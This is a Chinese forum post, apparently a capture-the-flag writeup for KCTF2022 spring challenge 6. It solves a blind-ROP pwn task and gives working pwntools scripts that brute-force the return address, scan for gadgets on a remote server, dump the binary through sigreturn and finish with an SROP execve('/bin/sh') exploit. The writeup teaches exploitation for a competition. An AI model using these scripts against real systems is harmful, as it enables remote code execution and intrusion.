首页
论坛
课程
招聘
[原创]kctf2022 春季赛 第六题writeup
2022-5-21 00:24 3638

[原创]kctf2022 春季赛 第六题writeup

2022-5-21 00:24
3638

KCTF2022春季赛 第六题 writeup

这题,BROP提示给的很明显,所以就是盲打,不管怎么说先问(bao)候(da)一下出题人。

 

首先我们一开始什么都不知道,就先确定一下一些基本信息,那么就先测试一下缓冲区的长度,最后发现缓冲区长度为0x10。

 

我们先执行一遍正常流程,大概就是:

  1. 输出一句话
  2. 输入
  3. 输出一句话

当存在栈溢出的时候,最后一句话输出不出来,因此可以断定,溢出是发生在自己定义的函数的。大概写一下伪代码:

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
void func(){
    char buf[16];
    gets(buf);
}
int main(){
    puts("hacker, TNT!");
    func();
    puts("TNT TNT!");
}

当然,输出第一句话的语句可能也在 func 里面,但是不影响,我们先爆破第一个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import  *
#context.log_level='debug'
for i in range(0,256):
    try:
        p=remote(host='221.228.109.254',port=10100)
        s=p.recvline()
        payload=b'a'*0x10+p8(i)
        print(payload)
        p.send(payload)
        ss=(p.recvline(timeout=1))
        print(ss)
        p.close()
    except:
        p.close()
        continue

 

 

可以发现,当覆盖一个 \xb0 字节的时候,程序重新执行了一遍 main 函数,当覆盖一个 \xce 字节的时候,程序执行正常流程退出了,那么我们可以得出以下信息:

  • main 函数的低位为 0xb0
  • func 函数的返回地址为 0xce

这里其实可以确定输出第一句话的函数在 main 当中了,因为如果在 func 函数当中,那么一定会存在两个地址使得程序重新执行一遍流程,那就是改成了 func 函数和 main 函数的地址都会这样,没有就说明第一句话输出不在 main 当中。

 

然后再勇敢地一试,猜测它的地址为 0x4000b0,结果发现也是重新执行了 main 函数,这也间接断定了这个程序是 64 位的。上面推出的两个地址也确定了。

 

接下来,就可以尝试取寻找 gadget 了,我们要寻找的首要 gadget 自然就是 pop rdi ret 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import  *
#context.log_level='debug'
main=0x4000b0
ret=0x4000ce
for i in range(0x400000,0x401900):
    try:
        while True:
            try:
                p=remote(host='221.228.109.254',port=10100)
                break
            except:
                continue
        s=p.recvline()
        payload=b'a'*0x10+p64(i)+p64(ret)+p64(main)
        print(payload)
        p.send(payload)
        ss=(p.recvline(timeout=1))
        print(ss)
        p.close()
    except:
        p.close()
        continue

在这个 payload 当中,可以发现,如果寻找的 gadgetret,那么则会继续流程,如果 gadget 类似于 pop xxx ret 的话则会重新执行 main 函数。结果 ret 找到了很多,其它的 gadget 愣是没找到一个,于是决定往后面再加一个 p64(main),结果居然找到了七个地址:

1
2
3
4
5
6
7
8
9
a0x4000f5 pop xxx *2;ret
0x4000fa pop xxx *2;ret
0x4000fb pop xxx *2;ret
0x4000fd pop xxx *2;ret
0x4000fe pop xxx *2;ret
0x400100 pop xxx *2;ret
0x400101 ret
0x400102 pop xxx *2 ; ret
0x400106 ret

然后我尝试取寻找它的 IO 函数去输出它的 got 表,但是测了很多地址都没有发现有输出 \n 字节,这里也排除它用 puts 函数输出的可能,但是它可能也用了 printf 或者是 write 函数之类的,但是我还是往 printf 去想而没有往 write 去想。然后我就拿那些 gadget 试着传参看看,结果不出意外都失败了,无任何回显。

 

这里我困扰了很久,后来我们队的 ThTsOd 师傅给了我一个很重要的思路,那就是

 

 

再来看看精致得分的规则:

 

 

直接拉满了那就很能说明问题了,肯定是甚至没有 plt 或者 got 表的那种文件,直接用的 syscall 才能有这么小的长度。

 

这里借用以下 ThTsOd 师傅的脚本,帮我们确定了一些 syscall 的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import  *
context.log_level='warn'
main=0x4000b5
ret=0x400101
pop_rdi = 0x400101 - 1
pop_rsi_2 = 0x400101 - 3
 
'''
0x4000b0 0 b'hacker, TNT!\n'
0x4000ce 0 b'TNT TNT!\n'
 
INPUT
0x4000b5 0 b'TNT TNT!\n'
0x4000b6 0 b'TNT TNT!\n'
0x4000b8 0 b'TNT TNT!\n'
0x4000c2 0 b'TNT TNT!\n'
0x4000c7 0 b'TNT TNT!\n'
0x4000c9 0 b'TNT TNT!\n'
 
rdi 1
rsi str
rdx len
 
 
'''
for k in range(1):
    for i in range(0x400000,0x400120):
        try:
            while True:
                try:
                    p=remote(host='221.228.109.254',port=10005)
                    break
                except:
                    continue
            s=p.recv()
            payload=b'a'*0x10+p64(i)+p64(pop_rdi)*3+p64(1)+p64(pop_rsi_2)+p64(0x400000)*2+p64(0x4000ce)
            #payload=b'a'*0x10+
            #print(payload)
            p.send(payload)
            p.send('B')
            ss=(p.recvall(timeout=1))
            print(hex(i),k,ss)
            #if ss==s:
            #    break
            p.close()
        except:
            #sleep(2)
            p.close()
            continue
 
 
#p.interactive()
 
 
 
 
'''
41 5c 41 5d 41 5e 41 5f c3
rdi 1
rsi str
rdx len
 
101 RET
102 POP
106 RET
'''

在这个脚本中,我们通过修改 rax 的值成功调用sys_write dump 出了栈上面的内存。

 

 

由此我们确定了 syscall retgadget0x4000ec 的地方。但是还需要有一个固定能 readgadget 才行,因为只有这样我们才能控制 rax 寄存器的值,来选择我们需要的系统调用。

 

当然我们也找到了,在0x4000f3,并且发现需要传两个参数才能把 rop 链拼接上去,感觉这里两个参数应该是 add rsp,0x10 产生的。

 

那也不用管那么多了,通过这两个 gadget 我们就能进行一次指定的系统调用,这里我们不选择使用 write 调用泄露栈的内存,我们直接把 elf 的内存给 dump 出来就行,因为没有 gadget 那我们直接用 sigreturn 的方式控制寄存器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import  *
context.log_level='debug'
context.arch='amd64'
main=0x4000b5
ret=0x400101
pop_rdi = 0x400101 - 1
pop_rsi_2 = 0x400101 - 3
syscall=0x4000ec
sysread=0x4000f3
'''
0x4000b0 0 b'hacker, TNT!\n'
0x4000ce 0 b'TNT TNT!\n'
 
INPUT
0x4000b5 0 b'TNT TNT!\n'
0x4000b6 0 b'TNT TNT!\n'
0x4000b8 0 b'TNT TNT!\n'
0x4000c2 0 b'TNT TNT!\n'
0x4000c7 0 b'TNT TNT!\n'
0x4000c9 0 b'TNT TNT!\n'
 
rdi 1
rsi str
rdx len
 
 
'''
for k in range(1):
    for i in range(0x4000f3,0x4000f4):
        try:
            while True:
                try:
                    p=remote(host='221.228.109.254',port=10088)
                    break
                except:
                    continue
            s=p.recv()
            rop=SigreturnFrame()
            rop.rax=1
            rop.rdi=1
            rop.rip=syscall           
            rop.rsp=0x400000
            rop.rbp=0x400000
            rop.rsi=0x400000
            rop.rdx=0x400
 
            payload=b'a'*0x10+p64(sysread)+p64(0)*2+p64(syscall)+eval(str(rop))
            p.send(payload)
            p.send('B'*15)
            p.interactive()       
        except:
            #sleep(2)
            p.close()
            continue
 
 
#p.interactive()
 
 
 
 
'''
41 5c 41 5d 41 5e 41 5f c3
rdi 1
rsi str
rdx len
 
101 RET
102 POP
106 RET
'''

 

可以看到我们就成功用 sigreturn 调用了 sys_write(1,0x400000,0x400) ,至此终于不是瞎子视角了,这里再是 ThTsOd 师傅帮我重建了 ELF 文件,IDA 一开

 

 

其实现在 IDA 已经不重要了,主要还是能本地调试就非常爽。

 

但是这里又卡了一个关,那就是找不到确定地址可写的地方写上 /bin/sh。这里又双叒叕是 ThTsOd 师傅向我指明了 0x600000 处的内存是可读可写的。

 

打开一看果然是这样,而且给的内存还挺多,那就爽了,直接先调用 sys_read 再上面写上 /bin/sh 顺便接上 rop 链,然后再一次 sigreturn 执行 execve('/bin/sh',0,0) 去获得 shell

 

最终 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level='debug'
context.arch='amd64'
main=0x4000b5
ret=0x400101
syscall=0x4000ec
sysread=0x4000f3
#p=process('./pwn')
p=remote(host='221.228.109.254',port=10100)
s=p.recv()
rop=SigreturnFrame()
rop.rax=0
rop.rdi=0
rop.rip=syscall           
rop.rsp=0x600020
rop.rbp=0x600020
rop.rsi=0x600000
rop.rdx=0x400
payload=b'a'*0x10+p64(syscall)+p64(syscall)+eval(str(rop))
p.send(payload)
#sleep(1)
#gdb.attach(p)
p.send(b'a'*15)
rop.rax=59
rop.rip=syscall
rop.rdi=0x600000
rop.rdx=0
rop.rsi=0
sleep(1)
p.send(b'/bin/sh\0'+p64(sysread)+p64(0)*2+p64(syscall)+eval(str(rop)))
sleep(1)
p.send(b'a'*15)
 
p.interactive()

这题后面不难,主要是想办法 dump 内存重建 elf,然后就是签到的做法了。

 

题外话:那我不禁对那个精致分仅有 87 分的 pwn 题瑟瑟发抖了。


【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

最后于 2022-5-21 17:31 被xi@0ji233编辑 ,原因: 勘误
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币:
活跃值: 活跃值 (386)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mb_rhynjqzk 活跃值 2022-5-23 17:48
2
0
T神nb就完事了
游客
登录 | 注册 方可回帖
返回